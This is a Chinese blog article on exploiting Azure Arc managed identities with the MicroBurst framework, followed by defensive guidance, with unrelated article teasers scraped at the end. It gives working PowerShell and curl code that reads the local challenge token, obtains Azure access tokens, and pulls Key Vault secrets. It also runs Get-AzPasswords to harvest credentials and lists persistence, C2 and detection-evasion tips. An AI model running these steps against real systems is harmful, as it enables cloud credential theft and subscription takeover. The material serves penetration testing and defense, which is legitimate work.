news 2026/7/4 12:12:53

Azure Arc托管身份安全风险深度解析：从原理到攻防实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Azure Arc托管身份安全风险深度解析：从原理到攻防实战

1. 项目概述：当“安全边界”成为攻击路径

在混合云与多云架构成为主流的今天，Azure Arc 作为微软连接和管理任何基础设施的桥梁，其重要性不言而喻。它允许你将物理服务器、虚拟机甚至其他云上的Kubernetes集群，统一“Arc化”到Azure Resource Manager的治理框架下。随之而来的一个核心安全特性，就是“托管身份”。这个设计的初衷极其美好：让运行在已启用Arc的服务器上的应用或脚本，无需管理任何凭据（如密码、客户端密钥），就能安全地访问Azure资源（如Key Vault、存储账户、SQL数据库）。这听起来像是安全的终极形态——无密码、自动轮换、最小权限。

然而，安全领域有一条铁律：任何为便利和自动化而设计的强大功能，在攻击者眼中，都可能是一条潜在的“黄金通道”。MicroBurst，一个由NetSPI维护的、专注于Azure和Azure AD（现为Microsoft Entra ID）安全评估的PowerShell框架，其“托管身份利用”模块，正是将这条“黄金通道”清晰地展现在我们面前。它演示了一个拥有本地系统或高权限访问能力的攻击者，如何从一个已加入Azure Arc的服务器节点出发，滥用其系统分配的托管身份，获取访问令牌，进而横向移动至云端资源，最终可能导致整个Azure订阅的沦陷。

这个项目标题“MicroBurst托管身份利用指南：获取Azure Arc证书和访问令牌”，精准地指向了混合云安全中一个关键且危险的攻击面。它不仅仅是执行几条命令，更是对Azure Arc安全模型的一次深度透视。通过这个指南，安全研究人员、渗透测试人员和防御方可以清晰地理解：当一台边界服务器被攻陷后，攻击链是如何从本地权限提升，延伸到云端身份滥用，最终触及核心业务数据的。接下来，我将拆解这一过程背后的原理、实操细节以及至关重要的防御思考。

2. 核心原理与攻击链拆解

要理解如何利用，必须先理解其工作原理。Azure Arc服务器的托管身份，其本质是在本地服务器与Azure AD之间建立了一个基于证书的、受控的信任关系。

2.1 Azure Arc 托管身份的工作机制

当一台服务器（无论是物理机、VMware VM还是AWS EC2实例）通过安装Azure Connected Machine Agent并成功连接到Azure Arc后，如果为其启用了系统分配的托管身份，会发生以下几件关键事情：

  1. 本地身份元数据服务（IMDS）端点建立：代理会在本地服务器上启动一个轻量级服务，监听http://localhost:40342。这个端点模拟了Azure VM上的Instance Metadata Service (IMDS)，但专为Arc环境定制。
  2. 服务主体创建：在后台，Azure资源管理器（ARM）会在关联的Microsoft Entra ID租户中，为这台服务器创建一个服务主体（Service Principal）。这个服务主体就是该服务器在云端的“数字身份”。
  3. 证书下发与轮换：Azure会生成一个X.509证书（及其私钥），并通过安全通道下发到该服务器的特定受保护路径下（例如，Windows上在C:\ProgramData\AzureConnectedMachineAgent\Tokens下）。这个证书是服务器向本地IMDS端点证明自己身份、进而换取Azure AD访问令牌的“门票”。
  4. 令牌获取流程：当服务器上的一个进程需要访问Azure资源时，它会向本地的IDENTITY_ENDPOINT（通常是http://localhost:40342/metadata/identity/oauth2/token）发起HTTP请求。该请求必须携带一个特殊的挑战令牌（Challenge Token），这个令牌正是通过读取上述受保护的证书文件并经过特定计算得到的。IMDS服务验证挑战令牌有效后，会代表服务器向Azure AD请求一个OAuth 2.0访问令牌（Access Token），并将其返回给请求进程。

关键点：整个令牌获取流程完全在服务器内部完成，不涉及在代码或配置中硬编码任何密码或密钥。证书由Azure自动管理并定期轮换，极大地提升了安全性。

2.2 MicroBurst的攻击视角：信任的滥用

MicroBurst的攻击思路，正是瞄准了这个自动化、高信任流程中的几个关键假设：

  1. 假设一：访问本地IMDS端点（40342端口）是受控的。该端点绑定在localhost，理论上只有本地进程可以访问。然而，一旦攻击者通过漏洞利用、密码窃取或恶意软件获得了服务器上的一个高权限Shell（如SYSTEM、root或himds组用户），这个边界就被打破了。
  2. 假设二：读取挑战令牌所需的证书文件是受保护的。这些文件通常有严格的ACL（访问控制列表），只允许NT AUTHORITY\SYSTEM、root或himds组访问。但如果攻击者已经获得了相应权限，这些保护形同虚设。
  3. 假设三：获取到的令牌只会被合法进程用于预期目的。攻击者可以劫持这个流程，获取令牌并用它来访问任何被该托管身份授权访问的Azure资源，而不仅仅是原本设计中的应用所需资源。

因此，攻击链变得清晰：初始访问（攻陷Arc服务器） -> 本地权限提升（获取SYSTEM/root或himds组权限） -> 读取托管身份证书/生成挑战令牌 -> 查询本地IMDS端点获取Azure AD访问令牌 -> 使用令牌访问Azure资源（如Key Vault获取机密、操作虚拟机、读取存储数据等）。

这个攻击链之所以危险，是因为它实现了从本地资产到云资产的“无缝”横向移动。防御者可能精心设置了网络防火墙隔离本地与云，但通过托管身份，攻击者直接在受害主机上“借道”云原生身份体系，绕过了传统的网络边界防护。

3. 实操环境准备与工具解析

在开始实际操作前，我们必须明确环境与工具。警告：以下所有操作仅应在你拥有完全所有权和测试授权的环境（如Azure订阅、自己控制的实验室服务器）中进行。未经授权测试他人系统是非法行为。

3.1 测试环境搭建

  1. Azure订阅与资源组：你需要一个Azure订阅（可使用免费账户）。创建一个资源组，例如arc-lab-rg。
  2. 目标服务器：准备一台可以访问互联网的服务器（Windows Server 2016+ 或主流Linux发行版）。这可以是本地Hyper-V/VMware虚拟机，也可以是其他云平台（如AWS EC2、GCP Compute Engine）的实例。确保你拥有该服务器的管理员/root权限。
  3. 启用Azure Arc：
    • 在Azure门户中，导航到“Azure Arc” -> “服务器” -> “+添加”。
    • 选择“使用交互式脚本生成”。在向导中，选择你的订阅、资源组、区域，并为服务器命名（如arc-victim-server）。
    • 在“身份”部分，务必勾选“启用系统分配的托管身份”。这是整个实验的核心。
    • 根据目标服务器操作系统（Windows/Linux），下载并运行生成的脚本。该脚本会安装Azure Connected Machine Agent并完成连接。
  4. 为托管身份授权：服务器连接成功后，在Azure门户中，找到该Arc服务器资源。在左侧菜单的“设置”下，点击“身份”。在“系统分配”标签页，点击“Azure角色分配”。为其分配一个角色，例如，如果你想让其能读取Key Vault，就创建一个Key Vault，然后为这个托管身份分配“Key Vault Secrets User”角色。这一步模拟了真实场景中应用所需的权限。

3.2 MicroBurst框架获取与结构

MicroBurst是一个开源项目，托管在GitHub上。

# 克隆MicroBurst仓库 git clone https://github.com/NetSPI/MicroBurst.git

其目录结构清晰，我们重点关注MicroBurst/Azure下的脚本：

  • MicroBurst.ps1/MicroBurst.psm1: 主模块文件，包含所有功能。
  • Get-AzPasswords.ps1: 一个独立的、功能强大的脚本，其中就包含了获取托管身份令牌的逻辑。
  • 其他脚本用于信息收集、爆破、存储账户枚举等。

我们将主要使用Get-AzPasswords.ps1，因为它已经封装了从IMDS获取令牌的完整逻辑。但理解其底层原理至关重要。

3.3 权限要求分析

在目标Arc服务器上执行利用，你需要足够的权限来：

  1. 访问本地IMDS端点（40342端口）：通常任何本地进程都可以向localhost:40342发送HTTP请求。
  2. 读取挑战令牌文件或计算挑战令牌：这是关键。在Windows上，证书文件通常位于C:\ProgramData\AzureConnectedMachineAgent\Tokens，默认只有SYSTEM和NT SERVICE\himds有读取权限。在Linux上，相关文件位于/var/opt/azcmagent/tokens，属于himds用户和组。
    • 因此，最直接的路径是获得SYSTEM（Windows）或root（Linux）权限。
    • 次优路径是成为himds组（Linux）的成员，或通过某些漏洞/配置错误访问这些文件。
  3. 执行PowerShell（Windows）或Bash/Linux命令：用于运行MicroBurst脚本或手动执行HTTP请求。

4. 手动利用流程深度解析

在直接使用自动化工具前，我们手动走一遍流程，这能让你透彻理解每一个环节。我们将分Windows和Linux两种环境。

4.1 Windows环境手动利用

假设我们已经通过某种方式在arc-victim-server（Windows）上获得了SYSTEM权限的PowerShell。

第一步：定位证书与计算挑战令牌

证书和密钥存储在C:\ProgramData\AzureConnectedMachineAgent\Tokens。你会看到类似xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx_identity_0.pem的文件。这个PEM文件包含了证书和私钥。

MicroBurst的Get-AzPasswords.ps1脚本中的关键函数Get-ChallengeToken揭示了计算挑战令牌的算法：

  1. 读取PEM文件。
  2. 从中提取出私钥和证书。
  3. 构造一个特殊的JWT（JSON Web Token）格式的挑战声明（Challenge Claim），其主体（Payload）是固定的：{"resource": "https://management.core.windows.net/", "authorization": {"client_id": "<托管身份的客户端ID>", "tenant_id": "<租户ID>"}}。这些ID可以从IMDS的instance端点获取。
  4. 使用从PEM文件中提取的私钥，对这个JWT进行RS256签名。
  5. 将签名后的JWT进行Base64Url编码，得到最终的挑战令牌。

这个过程比较复杂，手动实现容易出错。这也是为什么直接使用封装好的工具更高效。但我们可以手动验证IMDS端点是否可访问，并模拟工具的核心调用。

第二步：从IMDS获取访问令牌

一旦我们有了挑战令牌（无论是手动计算还是工具生成），获取访问令牌的API调用是标准的。以下PowerShell代码展示了这一过程：

# 定义参数 $apiVersion = "2020-06-01" # 指定要访问的Azure资源。https://management.azure.com/ 对应ARM API。 $resource = "https://management.azure.com/" # 构造完整的令牌请求URL。IDENTITY_ENDPOINT环境变量由Arc代理设置。 $endpoint = "$($env:IDENTITY_ENDPOINT)?resource=$resource&api-version=$apiVersion" # 请求头中必须包含 Metadata: true $headers = @{"Metadata" = "true"} # 首次请求，通常会返回401，并在WWW-Authenticate头中告知挑战令牌文件的路径 try { $response = Invoke-WebRequest -Uri $endpoint -Headers $headers -UseBasicParsing } catch { # 从异常响应中提取挑战令牌文件路径 $wwwAuthHeader = $_.Exception.Response.Headers["WWW-Authenticate"] if ($wwwAuthHeader -match 'Basic realm=\"(.+?)\"') { $challengeFilePath = $matches[1] Write-Host "[+] Found challenge file path: $challengeFilePath" } } if ($challengeFilePath) { # 读取挑战令牌文件内容 $challengeToken = Get-Content -Path $challengeFilePath -Raw # 在授权头中使用Basic认证格式，用户名任意（通常为空），密码为挑战令牌 $authHeader = "Basic $challengeToken" $headers.Authorization = $authHeader # 携带挑战令牌再次请求 $tokenResponse = Invoke-WebRequest -Uri $endpoint -Headers $headers -UseBasicParsing # 解析响应，获取访问令牌 $accessToken = ($tokenResponse.Content | ConvertFrom-Json).access_token Write-Host "[+] Successfully obtained access token!" # $accessToken 就是你的Bearer Token，可用于后续API调用 # 例如：$headersForAPI = @{Authorization = "Bearer $accessToken"} }

第三步：使用令牌访问Azure资源

拿到$accessToken后，你可以将其用作Bearer Token，调用Azure REST API。例如，列出当前订阅下的所有资源组：

$subscriptionId = (Invoke-RestMethod -Uri "$($env:IDENTITY_ENDPOINT)/metadata/instance?api-version=2020-06-01" -Headers @{Metadata='true'}).compute.subscriptionId $armUrl = "https://management.azure.com/subscriptions/$subscriptionId/resourceGroups?api-version=2021-04-01" $result = Invoke-RestMethod -Uri $armUrl -Headers @{Authorization = "Bearer $accessToken"} $result.value | Select-Object name, location

如果该托管身份被授予了Key Vault的读取权限，你还可以用它来列出或获取机密：

$kvName = "your-lab-keyvault" $secretName = "super-secret-password" $kvUrl = "https://$kvName.vault.azure.net/secrets/$secretName?api-version=7.3" $secretResult = Invoke-RestMethod -Uri $kvUrl -Headers @{Authorization = "Bearer $accessToken"} $secretResult.value

4.2 Linux环境手动利用

在Linux上，流程类似，但路径和命令不同。假设已获得root权限。

第一步：获取挑战令牌路径和内容

Linux的IMDS端点同样在http://localhost:40342。我们可以使用curl来交互。

# 发起初始请求，从响应头中提取挑战令牌文件路径 CHALLENGE_TOKEN_PATH=$(curl -s -D - -H "Metadata: true" \ "http://127.0.0.1:40342/metadata/identity/oauth2/token?api-version=2019-11-01&resource=https://management.azure.com/" \ | grep -i "Www-Authenticate" \ | cut -d '=' -f 2 \ | tr -d '\r\n' | tr -d '"') echo "Challenge token path: $CHALLENGE_TOKEN_PATH" # 读取挑战令牌内容 if [ -f "$CHALLENGE_TOKEN_PATH" ]; then CHALLENGE_TOKEN=$(cat "$CHALLENGE_TOKEN_PATH") echo "Challenge token acquired." else echo "Failed to locate challenge token. Check permissions." exit 1 fi

第二步：使用挑战令牌获取访问令牌

# 携带挑战令牌（作为Basic认证密码）请求访问令牌 RESPONSE=$(curl -s -H "Metadata: true" -H "Authorization: Basic $CHALLENGE_TOKEN" \ "http://127.0.0.1:40342/metadata/identity/oauth2/token?api-version=2019-11-01&resource=https://management.azure.com/") # 解析JSON响应，提取access_token ACCESS_TOKEN=$(echo $RESPONSE | python3 -c "import sys, json; print(json.load(sys.stdin)['access_token'])") # 或者使用jq（如果已安装）: ACCESS_TOKEN=$(echo $RESPONSE | jq -r '.access_token') echo "Access token: $ACCESS_TOKEN"

第三步：使用令牌

将$ACCESS_TOKEN用于后续的Azure CLI或直接REST API调用。例如，使用Azure CLI（需预先安装）：

# 使用获取到的令牌登录Azure CLI（仅当前会话） az login --access-token $ACCESS_TOKEN --tenant $(echo $RESPONSE | python3 -c "import sys, json; print(json.load(sys.stdin)['tenant_id'])") # 登录后，即可使用az命令操作该身份有权访问的资源 az keyvault secret list --vault-name your-lab-keyvault

重要提示：手动流程清晰地展示了底层交互，但在实战评估中，使用MicroBurst这样的自动化工具效率更高，错误更少。

5. 使用MicroBurst进行自动化利用

MicroBurst的Get-AzPasswords.ps1脚本极大地简化了上述过程。它不仅能获取令牌，还能自动尝试用该令牌去发现和访问多种类型的Azure资源（如Key Vault、存储账户、自动化账户等），并提取其中的敏感信息。

5.1 在Windows Arc服务器上执行

  1. 将Get-AzPasswords.ps1脚本上传到已攻陷的Arc服务器，或在服务器上直接下载。
  2. 在提升权限的PowerShell中，导入并执行脚本。
# 方式一：直接运行脚本（如果未设置执行策略，可能需要先执行 Set-ExecutionPolicy Bypass -Scope Process） .\Get-AzPasswords.ps1 # 方式二：导入模块后调用函数 Import-Module .\MicroBurst.psm1 Get-AzPasswords

脚本执行后，它会自动：

  • 检测当前环境是否支持托管身份（检查IDENTITY_ENDPOINT环境变量）。
  • 尝试获取系统分配的托管身份令牌。
  • 使用获取到的令牌，枚举当前订阅下的可用资源。
  • 针对发现的Key Vault、存储账户、自动化账户等，尝试使用当前令牌进行访问并提取密码、密钥、连接字符串、运行手册（Runbook）等。
  • 将结果以清晰格式输出到控制台和CSV文件。

5.2 在Linux Arc服务器上执行

MicroBurst主要是PowerShell模块，在Linux上运行需要PowerShell Core (pwsh)。确保目标Linux服务器已安装pwsh。

  1. 上传Get-AzPasswords.ps1或整个MicroBurst目录到Linux服务器。
  2. 使用pwsh运行。
# 启动PowerShell Core pwsh # 在pwsh会话中 Import-Module ./MicroBurst.psm1 Get-AzPasswords

其内部逻辑会适配Linux环境，自动处理路径和API调用的差异。

5.3 工具输出解读与后续行动

Get-AzPasswords脚本的输出通常包含以下几个部分：

  1. 令牌信息：显示成功获取的访问令牌的前几位和后几位（出于安全不显示完整令牌），以及令牌的过期时间、关联的服务主体ID（对象ID）等。
  2. 资源枚举结果：
    • Key Vaults：列出所有检测到的Key Vault，并尝试列出其中的机密（Secrets）、证书（Certificates）、密钥（Keys）。对于能访问的机密，会直接显示其值。
    • 存储账户：列出存储账户，尝试列出容器和Blob，并生成带SAS令牌的访问链接。
    • 自动化账户：尝试下载Runbook内容，其中可能包含硬编码的凭据。
    • 应用服务/函数应用：尝试获取发布配置文件（Publish Profile），其中包含部署凭据。
  3. 总结报告：以CSV格式输出所有发现的凭据和资源访问信息。

作为攻击者或红队成员，拿到这些信息后，后续行动可能包括：

  • 横向移动：使用从Key Vault获取的数据库连接字符串，直接连接并渗透数据库。
  • 权限提升：如果托管身份被过度授权（如拥有“Contributor”角色），可以直接创建新的高权限用户、部署后门虚拟机或修改关键配置。
  • 数据窃取：通过存储账户SAS令牌，下载敏感业务数据。
  • 持久化：在自动化账户中创建新的Runbook，实现命令与控制（C2）。

6. 防御策略与缓解措施

了解攻击是为了更好的防御。针对这种利用方式，我们可以从多个层面构建防御纵深。

6.1 身份与访问管理（IAM）层面：遵循最小权限原则

这是最根本、最有效的防御措施。

  • 精确的角色分配：为Azure Arc的托管身份分配权限时，绝对不要使用宽泛的内置角色（如“Contributor”、“Owner”）。始终遵循最小权限原则。
    • 使用自定义角色：如果内置角色不符合需求，创建自定义角色，仅包含应用运行所必需的具体权限（如Microsoft.KeyVault/vaults/secrets/read）。
    • 限定资源范围：将角色分配的范围缩小到特定的资源组或单个资源（如一个特定的Key Vault），而不是整个订阅。
  • 定期审计与审查：使用Azure Policy的“审核没有所有者/读取者/…角色的资源”策略，或通过Azure AD的“权限管理”功能，定期审查所有服务主体（包括托管身份）的权限分配，清理不必要的和过度的授权。
  • 禁用不必要的托管身份：如果某台Arc服务器上的应用不需要访问Azure资源，则不要启用其系统分配的托管身份。考虑使用用户分配的托管身份，并将其绑定到特定的、权限更受限的应用上。

6.2 服务器安全层面：加固本地环境

防止攻击者获得读取挑战令牌文件所需的高权限。

  • 严格的本地权限控制：确保C:\ProgramData\AzureConnectedMachineAgent\Tokens（Windows）或/var/opt/azcmagent/tokens（Linux）目录及其文件的ACL严格受限，只有必要的系统账户和服务账户（如SYSTEM、himds）有读取权限。定期进行权限审计。
  • 及时修补与防病毒：保持服务器操作系统和所有应用的最新补丁，部署端点检测与响应（EDR）解决方案，防止初始漏洞利用和权限提升。
  • 限制本地管理员：减少拥有本地管理员或root权限的用户数量。使用特权访问管理（PAM）解决方案来管理特权账户的访问。
  • 网络隔离：虽然IMDS绑定在localhost，但确保服务器本身处于安全的网络分段中，限制不必要的入站和出站连接，增加攻击者初始访问的难度。

6.3 监控与检测层面：发现异常活动

  • Azure AD审计日志：密切关注ServicePrincipalSignInLogs。筛选出身份类型为“Managed Identity”的登录事件。特别关注：
    • 异常的令牌获取模式：例如，在非工作时间、或从非预期的地理位置（如果服务器IP固定）发起的令牌请求。
    • 异常的API调用：通过AzureActivity日志，监控托管身份服务主体执行的操作。例如，一个原本只用于读取Key Vault机密的服务主体，突然开始创建虚拟机或修改网络配置，这是极高的危险信号。
  • Microsoft Defender for Cloud：启用并配置Defender for Cloud。它可以检测到托管身份的异常行为，例如“使用托管身份从异常IP地址执行的操作”或“托管身份执行了高特权操作”。
  • 服务器端日志：在Arc服务器上启用并集中收集Windows事件日志（如Security日志中的特权使用事件）或Linux的auditd/syslog日志，监控对Token目录的异常访问。

6.4 架构层面：减少攻击面

  • 使用专用服务主体：对于某些关键场景，可以考虑不使用系统分配的托管身份，而是创建一个权限受限的普通服务主体，将凭据（证书）存储在服务器的受保护位置，由应用读取。这样，即使服务器被完全控制，攻击者也只能获得这个特定服务主体的权限，而不是那台服务器“与生俱来”的身份。但这牺牲了证书自动轮换的便利性，需要自行管理证书生命周期。
  • Just-In-Time (JIT) 访问：对于需要高权限的操作，考虑使用Azure AD Privileged Identity Management (PIM)，将高权限角色设置为需要激活才能使用，并且有时间和审批限制。这样即使令牌泄露，其有效性和权限也受到限制。

7. 常见问题与排查技巧实录

在实际操作和防御配置中，你可能会遇到以下问题。

7.1 利用过程中常见错误

  • 错误：Invoke-WebRequest : The remote server returned an error: (400) Bad Request.

    • 原因：最常见的原因是$resource参数（资源URI）格式错误或不被支持。确保你请求的是正确的资源端点，例如https://management.azure.com/、https://vault.azure.net（Key Vault）、https://storage.azure.com/等。末尾的斜杠有时也很重要。
    • 排查：检查$resource变量的值。使用curl -v或Invoke-WebRequest的-Verbose参数查看详细的请求和响应头。

  • 错误：Invoke-WebRequest : The remote server returned an error: (401) Unauthorized.且无法从响应头中提取挑战令牌路径。

    • 原因：进程权限不足，无法触发IMDS的挑战响应流程。或者，该服务器根本没有启用系统分配的托管身份。
    • 排查：
      1. 检查$env:IDENTITY_ENDPOINT环境变量是否存在。如果不存在，说明托管身份未启用或代理有问题。
      2. 确保你以SYSTEM（Windows）或root/himds组用户（Linux）权限运行命令。在Windows上，使用psexec -s -i cmd或类似工具获取SYSTEM shell。在Linux上，使用sudo su -。
      3. 手动访问http://localhost:40342/metadata/identity/oauth2/token?api-version=2020-06-01&resource=https://management.azure.com/，看是否返回401和WWW-Authenticate头。

  • 错误：成功获取令牌，但调用Azure API时返回403 Forbidden。

    • 原因：该托管身份没有被授予访问目标资源所需的权限。
    • 排查：在Azure门户中，导航到该Arc服务器资源 -> 身份 -> Azure角色分配，检查其被分配的角色和范围。使用Azure CLI命令az role assignment list --assignee <托管身份的对象ID> --all来全面查看。

  • MicroBurst脚本运行后无输出或报“No managed identities found”。

    • 原因：脚本可能无法正确检测环境或读取令牌文件。
    • 排查：以管理员身份运行PowerShell。手动执行脚本中的关键检测步骤，如检查环境变量、尝试读取令牌目录。在Linux上，确保已安装PowerShell Core且版本兼容。

7.2 防御配置中的注意事项

  • 角色分配延迟：在Azure门户为托管身份分配角色后，权限生效可能会有几分钟的延迟。如果立即测试失败，请稍等片刻。
  • 多个托管身份：一台服务器只能有一个系统分配的托管身份，但可以关联多个用户分配的托管身份。MicroBurst默认获取的是系统分配的。如果需要测试用户分配的，需要指定其客户端ID。
  • 令牌有效期：获取的访问令牌默认有效期为8小时。攻击者获取令牌后，在其失效前有充足的时间进行横向移动。因此，实时监控比单纯依赖令牌过期更重要。
  • 网络策略限制：虽然IMDS在本地，但获取令牌后访问Azure资源需要出站互联网连接（到login.microsoftonline.com和各类Azure服务端点）。如果服务器处于严格的内网，即使拿到令牌也无法与外网通信，这构成了一道网络层面的防御。但这不应作为主要防御手段，因为许多服务器需要出站连接。

7.3 红队演练中的技巧

  • 权限维持：如果获得了一个高权限的托管身份令牌，可以考虑将其转换为一个更持久的凭据，例如在Azure AD中为该服务主体添加一个新的证书或客户端密码（如果权限足够）。但注意，对服务主体的修改操作本身会被记录在审计日志中。
  • 令牌的存储与使用：获取到的访问令牌是Bearer Token，可以保存下来，在工具如curl、Postman或Azure PowerShell/CLI中直接使用，无需再次与受害服务器交互。
  • 隐蔽性：大量、快速的API调用很容易触发警报。在演练中，应模拟正常应用的访问模式，控制请求频率，并优先访问与服务器角色相符的资源（例如，一个Web服务器身份去访问Key Vault获取配置，比去创建虚拟机更合理）。

通过这个从原理到攻防的完整拆解，你应该对Azure Arc托管身份这一强大功能背后的安全风险有了深刻的理解。安全始终是一个平衡便利性与风险的过程，而作为防御者，我们的任务就是确保这个天平不会向风险一侧过度倾斜。持续监控、最小权限和深度防御，是应对此类“信任边界”攻击的不二法门。

版权声明: 本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若内容造成侵权/违法违规/事实不符，请联系邮箱：809451989@qq.com进行投诉反馈，一经查实，立即删除！
网站建设 2026/7/4 12:10:39

基于PIC18F87J11与I2C的DC-DC降压电源设计

1. 项目背景与核心器件选型在嵌入式电源设计中&#xff0c;DC-DC降压转换是基础但关键的技术环节。171010550&#xff08;推测为某DC-DC控制器型号&#xff09;与PIC18F87J11微控制器的组合&#xff0c;为构建智能可调的降压电源系统提供了硬件基础。PIC18F87J11作为Microchip旗…

作者头像 李华
网站建设 2026/7/4 12:10:06

三步解锁微信聊天记录：你的数字记忆保险箱

三步解锁微信聊天记录&#xff1a;你的数字记忆保险箱 【免费下载链接】WechatDecrypt 微信消息解密工具 项目地址: https://gitcode.com/gh_mirrors/we/WechatDecrypt 还记得那些深夜长谈、重要的工作讨论、或是家人间的温馨对话吗&#xff1f;微信承载了我们太多珍贵的…

作者头像 李华
网站建设 2026/7/4 12:07:50

Sandboxie配置加密备份全攻略：从明文风险到AES-256安全存储

1. 项目概述&#xff1a;为什么沙箱配置也需要“上锁”&#xff1f;如果你和我一样&#xff0c;长期把Sandboxie当作一个隔离测试环境、软件试用区&#xff0c;甚至是处理一些不确定文件的安全沙盒&#xff0c;那你一定花了不少心思去调整它的配置。从文件访问规则、资源限制到…

作者头像 李华
网站建设 2026/7/4 12:07:04

AI商业化进入深水区：从技术验证到真金白银的四大关键维度

1. 这不是新闻简报&#xff0c;而是一份AI产业“基本面体检报告” 如果你最近刷到“智谱股价涨超30%”“MiniMax破3000亿”这类标题&#xff0c;别急着点进去——它们大概率只是把财报数字和K线图拼在一起的快餐信息。真正值得花时间拆解的&#xff0c;是这些数字背后正在发生的…

作者头像 李华
网站建设 2026/7/4 12:06:48

基于YOLOv12的数字式压力表智能识别系统设计与实现

1. 数字式压力表智能读数识别系统概述 在工业自动化领域&#xff0c;压力表作为关键测量设备&#xff0c;其读数的准确性和实时性直接影响生产安全和效率。传统的人工读数方式存在效率低下、易出错等问题&#xff0c;特别是在高温、高压等恶劣环境下&#xff0c;人工操作还存在…

作者头像 李华
网站建设 2026/7/4 12:06:28

基于YOLOv11的草莓病害智能检测系统开发实践

1. 项目概述 草莓作为高经济价值作物&#xff0c;其病害防治一直是农业生产中的痛点。传统人工诊断方式存在效率低、主观性强等问题&#xff0c;而基于深度学习的视觉检测技术为解决这一难题提供了新思路。我们基于YOLOv11模型开发了一套完整的草莓病害识别系统&#xff0c;能够…

作者头像 李华